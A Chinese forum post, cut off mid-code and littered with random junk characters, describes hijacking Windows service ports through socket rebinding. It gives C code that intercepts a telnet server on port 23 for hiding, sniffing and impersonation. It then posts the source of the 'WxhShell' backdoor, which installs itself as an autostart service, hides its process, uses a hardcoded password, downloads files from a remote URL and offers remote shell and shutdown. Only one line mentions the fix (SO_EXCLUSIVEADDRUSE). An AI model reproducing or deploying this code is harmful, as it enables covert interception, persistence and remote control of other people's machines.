社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9484阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AngwBZ@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); luT8>9X^:a  
86g+c  
  saddr.sin_family = AF_INET; c"ztrKQQ  
8gNEL+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nmGHJb,$  
a5M>1&j/eC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V]}b3Y!(  
Vvj]2V3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jlBCu(.,_  
}t'^Au`X  
  这意味着什么?意味着可以进行如下的攻击: Cs{f'I  
h~p}08  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jHCKV  
 |_ *$+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Fe .*O`  
 P+0xi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [4 j;FN Fa  
s_LSs yqo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A\)X&vR[6  
,GIqRT4K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YP,PJnJU8  
]r6bJ 2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bl];^W^P  
mtHz6+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $@)d9u cd  
U^&Cvxc[[  
  #include #8jd,I% L  
  #include k Dt)S$N4n  
  #include MavO`m&Cg  
  #include    =jt_1L4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4#q JX)/  
  int main() beE%%C]X  
  { K~-XDLh5Nu  
  WORD wVersionRequested; @ `D6F;R  
  DWORD ret; s_!Z+D$K  
  WSADATA wsaData; 9,CC1f  
  BOOL val; . $YF|v[=  
  SOCKADDR_IN saddr; vM/v}6;_K2  
  SOCKADDR_IN scaddr; 5nAF=Bj  
  int err; [ )~@NN  
  SOCKET s; 1.uQ(>n  
  SOCKET sc; su;S)yZb  
  int caddsize; a7G2C oM8  
  HANDLE mt; >>zoG3H!  
  DWORD tid;   KCE-6T  
  wVersionRequested = MAKEWORD( 2, 2 ); QOk"UP  
  err = WSAStartup( wVersionRequested, &wsaData ); |$2N$6\SP  
  if ( err != 0 ) { J *?_SnZ  
  printf("error!WSAStartup failed!\n"); Vz]=J;`Mz  
  return -1; C:MGi7f  
  } ^^l"brPa  
  saddr.sin_family = AF_INET; 9G+rxyWMW  
   YWrY{6M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .`N` M9  
{1|7N GQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZF (=^.gc  
  saddr.sin_port = htons(23); V JL;+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W2h[NimU  
  { (t$/G3E  
  printf("error!socket failed!\n"); cV,Dl`1r  
  return -1; Po. BcytM  
  } FSs$ ] d;  
  val = TRUE; &Ld8Z9IeFp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WI_mJ/2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]_8I_V cQ  
  { `0|&T;7  
  printf("error!setsockopt failed!\n"); 8T )ELhTj  
  return -1; JSK5x(GlH  
  } ,D,f9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y|{?>3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `+c9m^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #`0z=w/)  
yuDd% 1k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q.Z#7~6`3  
  { u#k ,G`  
  ret=GetLastError(); AiK4t-  
  printf("error!bind failed!\n"); iGVb.=)  
  return -1; #-j! ;?  
  } .MARF  
  listen(s,2); _4B iF?1  
  while(1) ^) ^|;C\`  
  { W r7e_  
  caddsize = sizeof(scaddr); _kX/LR"L+  
  //接受连接请求 5XO'OSdYq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bI6wE'h  
  if(sc!=INVALID_SOCKET) 7Sq{A@ ET  
  { dt&Lwf/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l(\8c><m  
  if(mt==NULL) DeQ'U!?+N  
  { %&+R":Bw  
  printf("Thread Creat Failed!\n"); ~{Rt4o _W  
  break; 0P3|1=  
  } {}&f\6OI%  
  } E/$@ud|l"  
  CloseHandle(mt); LE80`t>M#  
  } 6@;L$QYY-V  
  closesocket(s); !nBm}E7d  
  WSACleanup(); [k 7N+W8  
  return 0; JD`;,Md  
  }   udI: ]:,P  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,h.Jfo54,  
  { hs_|nr0;[  
  SOCKET ss = (SOCKET)lpParam; 5>[sCl-  
  SOCKET sc; ~V"cLTj"  
  unsigned char buf[4096]; o+Ti$`2<O7  
  SOCKADDR_IN saddr; !_H8Q}a  
  long num; |SukiXJZF  
  DWORD val; He-Ja  
  DWORD ret; lWw!+[<:q1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^I~T$YjC '  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   exEld  
  saddr.sin_family = AF_INET; G^@Jgx3n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mth`s{sATa  
  saddr.sin_port = htons(23); @j2*.ee  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }rA+W-7  
  { mYOdBd  
  printf("error!socket failed!\n"); wp*&&0O!  
  return -1; :F w"u4WI  
  } 7a]Zws  
  val = 100; .P :f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2n;;Tso"  
  { \{=`F`oB=  
  ret = GetLastError(); m<,G:?RM  
  return -1; uQtk|)T E  
  } dzE Q$u/I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?$@ KwA  
  { E(3+o\w  
  ret = GetLastError(); D)ne *},  
  return -1; = *;Xc-_  
  } '[yqi1 &  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mImbS)V  
  { 2T(,H.O  
  printf("error!socket connect failed!\n"); hB$Y4~T%  
  closesocket(sc); = EChH@3  
  closesocket(ss); %OTA5  
  return -1; d7tD|[(J  
  } o- QG& ]  
  while(1) ivUsMhx>S,  
  { B 6'%J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &Bz7fKCo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uyRA`<&w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7}tZ?vD  
  num = recv(ss,buf,4096,0); s!;VUr\  
  if(num>0) L8w76|  
  send(sc,buf,num,0); <AAZ8#^  
  else if(num==0) r|\'9"@  
  break; h[ZN >T  
  num = recv(sc,buf,4096,0); +=*m! 7Mr  
  if(num>0) &;h~JS=  
  send(ss,buf,num,0); P2Qyz}!wo  
  else if(num==0) _?]BVw  
  break; vXM/nw|5  
  } fov=Yd!  
  closesocket(ss); JGO$4DK-1  
  closesocket(sc); Rp`_Grcd  
  return 0 ; Fx[A8G  
  } rq(~/Yc  
_`X#c-J  
Y K?*7  
========================================================== ci_v7Jnwo  
Bpm5dT;  
下边附上一个代码,,WXhSHELL m~j\?mb{+  
~Ri u*<  
========================================================== 01{r^ZT`RH  
;4/dk_~p]  
#include "stdafx.h" D"x$^6`c}  
F@K*T2uh  
#include <stdio.h> >xZhK63C/  
#include <string.h> <` p75B  
#include <windows.h> APtselC  
#include <winsock2.h> 2htA7V*dD  
#include <winsvc.h> qzH qj;  
#include <urlmon.h> .KU SNrs'  
Y7:Y{7E7  
#pragma comment (lib, "Ws2_32.lib") 9"HmHy&:E  
#pragma comment (lib, "urlmon.lib") -Nlf~X  
Dd5xXs+c  
#define MAX_USER   100 // 最大客户端连接数 lA.;ZD!  
#define BUF_SOCK   200 // sock buffer ^0s\/qyqm  
#define KEY_BUFF   255 // 输入 buffer kToVBU$  
@`kiEg'Q  
#define REBOOT     0   // 重启 d(DX(xg  
#define SHUTDOWN   1   // 关机 xf^<ec  
)p!*c,  
#define DEF_PORT   5000 // 监听端口 a:-)+sgHw  
pg?i F1  
#define REG_LEN     16   // 注册表键长度 te\h?H  
#define SVC_LEN     80   // NT服务名长度 {n'qKur xY  
n(Q\' ,C  
// 从dll定义API sR>`QIi(a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uFm+Y]h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); orB8Q\p'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KCJN<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L*UV  
~ gfA](N  
// wxhshell配置信息 :zj9%4A  
struct WSCFG { 2-$bh  
  int ws_port;         // 监听端口 [j=,g-EOA  
  char ws_passstr[REG_LEN]; // 口令 ^)hAVf~E  
  int ws_autoins;       // 安装标记, 1=yes 0=no @m/;ZQ  
  char ws_regname[REG_LEN]; // 注册表键名 #j^('K|  
  char ws_svcname[REG_LEN]; // 服务名 >9.5-5"   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wiq{wxe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4{*tn"y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |ilv|UV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L8bI0a]r"*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OBI+<2`Oc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0~Iu7mPY  
+-H}s`  
}; Gq0]m  
$c@w$2  
// default Wxhshell configuration 83  i1  
struct WSCFG wscfg={DEF_PORT, `sk!C7%  
    "xuhuanlingzhe", q6C6PPc  
    1, eC>"my`  
    "Wxhshell", u( 1J=h  
    "Wxhshell", yV J dZI  
            "WxhShell Service", G%7 4v|cd  
    "Wrsky Windows CmdShell Service", S(>@:`=  
    "Please Input Your Password: ", /B,:<&_-  
  1, RHwaJ;:)#  
  "http://www.wrsky.com/wxhshell.exe", =mHkXHE~:  
  "Wxhshell.exe" E7X!cm/2<  
    }; KMK&[E#r  
IU Y> ih  
// 消息定义模块 "K|)<6J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @,x_i8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6%gB E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }A4nJ>`tq  
char *msg_ws_ext="\n\rExit."; hncS_ZA  
char *msg_ws_end="\n\rQuit."; Pv/Pww \  
char *msg_ws_boot="\n\rReboot..."; p~Hvl3SxR  
char *msg_ws_poff="\n\rShutdown..."; 4AY _#f5u  
char *msg_ws_down="\n\rSave to "; *<*0".#  
NI5]Nz<?  
char *msg_ws_err="\n\rErr!"; >H0) ph  
char *msg_ws_ok="\n\rOK!"; }O,U2=Hw`]  
0W T#6D  
char ExeFile[MAX_PATH]; *M> iZO*@  
int nUser = 0; c Ndw9?Z  
HANDLE handles[MAX_USER]; .7 (DxN  
int OsIsNt; V&Xi> X8  
?w+ QbT  
SERVICE_STATUS       serviceStatus; QP6z?j.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ?YqJ.F;  
w`c0a&7  
// 函数声明 r-RCe3%g%  
int Install(void); Ni2]6U  
int Uninstall(void); 9 z5"y|$  
int DownloadFile(char *sURL, SOCKET wsh); {8^Gs^c c  
int Boot(int flag); <u/a`E?  
void HideProc(void); Xw7{R  
int GetOsVer(void); Yv)Bj  
int Wxhshell(SOCKET wsl); cI*KRC U  
void TalkWithClient(void *cs); -"W)|oC_  
int CmdShell(SOCKET sock); g3|BE2?  
int StartFromService(void); az0cS*@  
int StartWxhshell(LPSTR lpCmdLine); `IEq@Wr#$!  
z 0~j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rkxW UDl   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6( >3P  
[RAj3Fr0  
// 数据结构和表定义 M[ x_#m|  
SERVICE_TABLE_ENTRY DispatchTable[] = <=q*N;=T,  
{ cyW;,uT)D  
{wscfg.ws_svcname, NTServiceMain}, Y)$52m5rM  
{NULL, NULL} c{1V.  
}; p/r~n'g$  
 X ?tj$  
// 自我安装 B{s]juPG  
int Install(void) y^2#9\}K  
{ :3JCvrq  
  char svExeFile[MAX_PATH]; Pj'62[5z  
  HKEY key; *"1~bPl  
  strcpy(svExeFile,ExeFile); "Dyym<J  
./$ <J6-J  
// 如果是win9x系统,修改注册表设为自启动 {tPnj_|n<  
if(!OsIsNt) { I0!j<G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EPc!p>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fD'/#sA#'  
  RegCloseKey(key); XZ} de%U1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `)"tO&Fn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ylk{!  
  RegCloseKey(key); cL#-*_(  
  return 0; cv3L&zg M  
    } Vl<`|C>  
  } aiYo8+{!#  
} kEO1TS  
else { _*Pfp+if  
aC`Li^  
// 如果是NT以上系统,安装为系统服务 IWQ&6SDW$z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bb~5& @M|N  
if (schSCManager!=0) d+tj%7  
{ ji }#MBac  
  SC_HANDLE schService = CreateService .>P~uZiX!  
  ( !~WZ_z  
  schSCManager, *2`:VFEV  
  wscfg.ws_svcname, ^%;"[r  
  wscfg.ws_svcdisp, [q'eEN G  
  SERVICE_ALL_ACCESS, 5? Wg%@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cST\~SUm  
  SERVICE_AUTO_START, >;,gGH  
  SERVICE_ERROR_NORMAL, ei@3,{~5  
  svExeFile, D}MoNE[r  
  NULL, ^]VcxKUJ  
  NULL, ~P/]:=  
  NULL, B~?c3:6  
  NULL, *|oPxQCtK  
  NULL {gsW(T>)  
  ); 3!aEClRtq  
  if (schService!=0) |"Z-7@/k$i  
  { D ZVXz|g  
  CloseServiceHandle(schService); o5P&JBX<  
  CloseServiceHandle(schSCManager); %VWp&a8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zO%w_7 w  
  strcat(svExeFile,wscfg.ws_svcname); :<|Z.4}kJb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [UoqIU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mH)OB?+lq  
  RegCloseKey(key); GMBJjP&R]  
  return 0; }wfI4?}j}  
    } ^p,3)$  
  } }t\ 10nQ  
  CloseServiceHandle(schSCManager); ?~,JY  
} y1iX!m~)  
} ?;^5ghY$  
8'KMxR  
return 1; iX{H,- C  
} fWj@e"G  
X@!X6j  
// 自我卸载 G]-%AO{K  
int Uninstall(void) p5-<P?B  
{ y:.?5KsPI  
  HKEY key; !N1J@LT5h  
;|!MI'Af  
if(!OsIsNt) { ugI#ZFjJWE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x9%-plP  
  RegDeleteValue(key,wscfg.ws_regname); \ n_3Bwd~  
  RegCloseKey(key); 1aq2aLx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 80}4/8  
  RegDeleteValue(key,wscfg.ws_regname); ;, rnk-  
  RegCloseKey(key); d@ZoV  
  return 0; Pu..NPl+  
  } !R74J=#(  
} |<rfvsQ.  
} `E W!-v)  
else { ")ED)&e  
9`BEi(z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]YsR E>  
if (schSCManager!=0) B9*Sfw%  
{ @^!\d#/M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \!<"7=(J{4  
  if (schService!=0) b/nOdFO@  
  { tq&Yek>C  
  if(DeleteService(schService)!=0) { \45(#H<$  
  CloseServiceHandle(schService); #/ +I*B*y  
  CloseServiceHandle(schSCManager); y@3kU*-1  
  return 0; f>niFPW"  
  } A#35]V06  
  CloseServiceHandle(schService); I8k  
  } f&c]LH _  
  CloseServiceHandle(schSCManager); 6.'$EtH  
} E~RV1)  
} `VZZ^K9zR  
hM>*a!)U  
return 1; =/Wu'gG)  
} VjB*{,  
kwlC[G$j7  
// 从指定url下载文件 #V[SQ=>x[  
int DownloadFile(char *sURL, SOCKET wsh) | ]# +v@  
{ C_G1P)k  
  HRESULT hr; Szts<n5  
char seps[]= "/"; E*k([ZL  
char *token; TV=c,*TV  
char *file; K2HvI7$-  
char myURL[MAX_PATH]; ZoxS*Xk  
char myFILE[MAX_PATH]; X2^_~<I{,  
N@()F&e  
strcpy(myURL,sURL); o,FUfO}F  
  token=strtok(myURL,seps); G3dh M#!  
  while(token!=NULL) m gVML&^  
  { f=m/ -mAA  
    file=token; o?wt$j-  
  token=strtok(NULL,seps); l3p3tT3+  
  } &SmXI5>Bo0  
U:n*<l-k}  
GetCurrentDirectory(MAX_PATH,myFILE); Ek ZjO Ci  
strcat(myFILE, "\\"); K]<u8eF  
strcat(myFILE, file); b[srG6{ &  
  send(wsh,myFILE,strlen(myFILE),0); o1k#."wHr  
send(wsh,"...",3,0); OQFi.  8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F;kvH  
  if(hr==S_OK) KjOi(YUnq7  
return 0; W-XpJ\_  
else ffk4mhH  
return 1; wyw<jH  
tS<h8g_  
} XWtiwf'K  
nY0sb8lZJ  
// 系统电源模块 hVUIBJ/5(-  
int Boot(int flag) WNF9#oN|oT  
{ \Y e%o}.{  
  HANDLE hToken; iBoEZEHjw  
  TOKEN_PRIVILEGES tkp; <hv7s,i  
lFf XWNb  
  if(OsIsNt) { Dm%%e o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s.:r;%a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aZKXD! 4  
    tkp.PrivilegeCount = 1; c'0 5{C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~FPw{]j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |I^y0Q:K  
if(flag==REBOOT) { y|sma;D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {mSJUK?TKl  
  return 0; 8lwM{?k$  
} %F J#uQXZ  
else { _Adsq8sFW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p{.8_#O%S  
  return 0; M#a&\cqC  
} {/ &B!zvl  
  } h8 =h >W-  
  else { Qra>}e%*  
if(flag==REBOOT) { &{W^W8,%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4seciz0?  
  return 0; f#P_xn&et  
}  $Nu)E  
else { !O{ z 3W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <HQ&-jx  
  return 0; T//S,   
} Df@/cT  
} e{C6by"j{S  
F=}Z51|:~  
return 1; 2Va4i7"X\  
} uTGcQs}  
Dp^/gL=  
// win9x进程隐藏模块 54q3R`y  
void HideProc(void) 8=Q V N_  
{ Y6ben7j%-  
cy1jZ1)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); doD>m?rig3  
  if ( hKernel != NULL ) ><Uk*mwL  
  { T"!EK&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l!IGc:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ``9 GY  
    FreeLibrary(hKernel); ^,V[nfQR  
  } Q4wc-s4RN  
q# vlBL  
return; ,%hj cGX11  
} w^o }E)O  
:3? |VE F  
// 获取操作系统版本 GBbhar},g  
int GetOsVer(void) DB@EVH  
{ ;&,.TC?l  
  OSVERSIONINFO winfo; Bq!cY Wj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xo WT*f  
  GetVersionEx(&winfo); nbxR"UH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B*,?C]0{  
  return 1; c3k|G<C2  
  else NHkL24ve  
  return 0; 1q]c7"  
} %;O}FyP  
/ L~u0 2?  
// 客户端句柄模块 }Bff,q  
int Wxhshell(SOCKET wsl) U8O(;+  
{ G$5m$\K  
  SOCKET wsh; ]W) jmw'mo  
  struct sockaddr_in client; \+Y!ILOI  
  DWORD myID; m;/i<:`  
FFe) e>bH  
  while(nUser<MAX_USER) SLoo:)  
{ rAXX}"l6s  
  int nSize=sizeof(client); |Td5l?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FC}oL"kk  
  if(wsh==INVALID_SOCKET) return 1; >n!ni(  
Nl*i5 io  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  r(`nt-o@  
if(handles[nUser]==0) 7& 6Y  
  closesocket(wsh); _/ Os^>R  
else %EI<@Ps8c  
  nUser++; DU{bonR`  
  } @ yxt($G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CBHc A'L  
2P5_zND  
  return 0; vv/J 5#^,\  
} K t `  
4P kfUMX  
// 关闭 socket OD+5q(!"a  
void CloseIt(SOCKET wsh) P(h5=0`*PR  
{ 2p:r`THvS5  
closesocket(wsh); N5 n>  
nUser--; /#t&~E_|  
ExitThread(0); _P 5P(^/  
} 8A{6j  
7X'y>\^w^>  
// 客户端请求句柄 ;NsO  
void TalkWithClient(void *cs) !R:y'Y%j  
{ cZQu*K^j  
*gu8-7'  
  SOCKET wsh=(SOCKET)cs; m0( E kK  
  char pwd[SVC_LEN]; #Lka+l;L7  
  char cmd[KEY_BUFF]; i'tp1CI  
char chr[1]; SRz&Nb  
int i,j;  T-8J   
77Q}=80GU;  
  while (nUser < MAX_USER) { (0jr;jv  
#":a6%0Q  
if(wscfg.ws_passstr) { 7 g6RiH}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 59!)j>f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fLB1)kTS  
  //ZeroMemory(pwd,KEY_BUFF); 77We;a  
      i=0; UR3$B%i  
  while(i<SVC_LEN) { o3h-=t  
kx{!b3"  
  // 设置超时 q)iTn)Z!  
  fd_set FdRead; X?df cS*!n  
  struct timeval TimeOut; 'G#SLqZy  
  FD_ZERO(&FdRead); R^8B3-aA`  
  FD_SET(wsh,&FdRead); 7B FN|S_l  
  TimeOut.tv_sec=8; cZ< \  
  TimeOut.tv_usec=0; B\_[R'Pf&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FH\CK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aWaw&u  
Rd! 2\|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5 Q NEi  
  pwd=chr[0]; \Ph7(ik  
  if(chr[0]==0xd || chr[0]==0xa) { C\Ayv)S #2  
  pwd=0; pm]fQ uq  
  break; iBvOJs  
  } ty- r&  
  i++; y/R+$h(%  
    } j Z'&0x"U  
- L~Uu^o  
  // 如果是非法用户,关闭 socket 0HbJKix!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;~/4d-  
} a [C&e,)}  
"!q?P" @C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bK=c@GXS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y';>O`  
!_^g8^>2(  
while(1) { Y4To@TrN#\  
IZ~.{UQ  
  ZeroMemory(cmd,KEY_BUFF); qrDcL>Hrn  
T[2}p=<%  
      // 自动支持客户端 telnet标准   3j*'HST  
  j=0; sh6(z?KP  
  while(j<KEY_BUFF) { =_QkH!vI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l)8sw=  
  cmd[j]=chr[0]; 7/>a:02  
  if(chr[0]==0xa || chr[0]==0xd) { A&N*F"q  
  cmd[j]=0; n,nisS  
  break; }O*WV1  
  } V/bH^@,sA  
  j++;  aZgNPw  
    } )w"0w(   
yNva1I  
  // 下载文件 4<}A]BQVkJ  
  if(strstr(cmd,"http://")) { ']?=[`#NL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kaFnw(xa  
  if(DownloadFile(cmd,wsh)) 8"M<{72U]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEqZ:c  
  else `C'}e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V^En8  
  } cU+>|'f &  
  else { 93D \R  
kZ[mM'u#  
    switch(cmd[0]) { ]^@0+!  
  e@j8T gI)  
  // 帮助 #:{6b *}  
  case '?': { hTw}X.<4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %dmfBf Ev  
    break; Uu5C%9^s  
  } pULsGb  
  // 安装 |s|/]aD}o  
  case 'i': { e2Jp'93o'  
    if(Install()) 8^X]z|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); },PBqWe  
    else dS$ji#+d$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fn1pa@P  
    break; G (\Ckf:  
    } RgGA$HN/  
  // 卸载 g1qi\axm  
  case 'r': { 8]C1K Zs  
    if(Uninstall()) 7) 0q--B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2U%qCfh6|  
    else b1=pO]3u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S=O$JP79  
    break; Wz{%"o  
    } XS|mKuMc C  
  // 显示 wxhshell 所在路径 v3^t/[e~:  
  case 'p': { H[BYE  
    char svExeFile[MAX_PATH]; C*G/_`?9  
    strcpy(svExeFile,"\n\r"); *Sb2w*c>  
      strcat(svExeFile,ExeFile); fuyl/bx}  
        send(wsh,svExeFile,strlen(svExeFile),0); KjYDFrR4  
    break; ,?y7 ,nb  
    } HRHrSf7  
  // 重启 D rTM$)  
  case 'b': { o+^Eu}[.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vYzVY\   
    if(Boot(REBOOT)) `M rBav  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+%Z@b%  
    else { if@,vc  
    closesocket(wsh);  /q*KO\L  
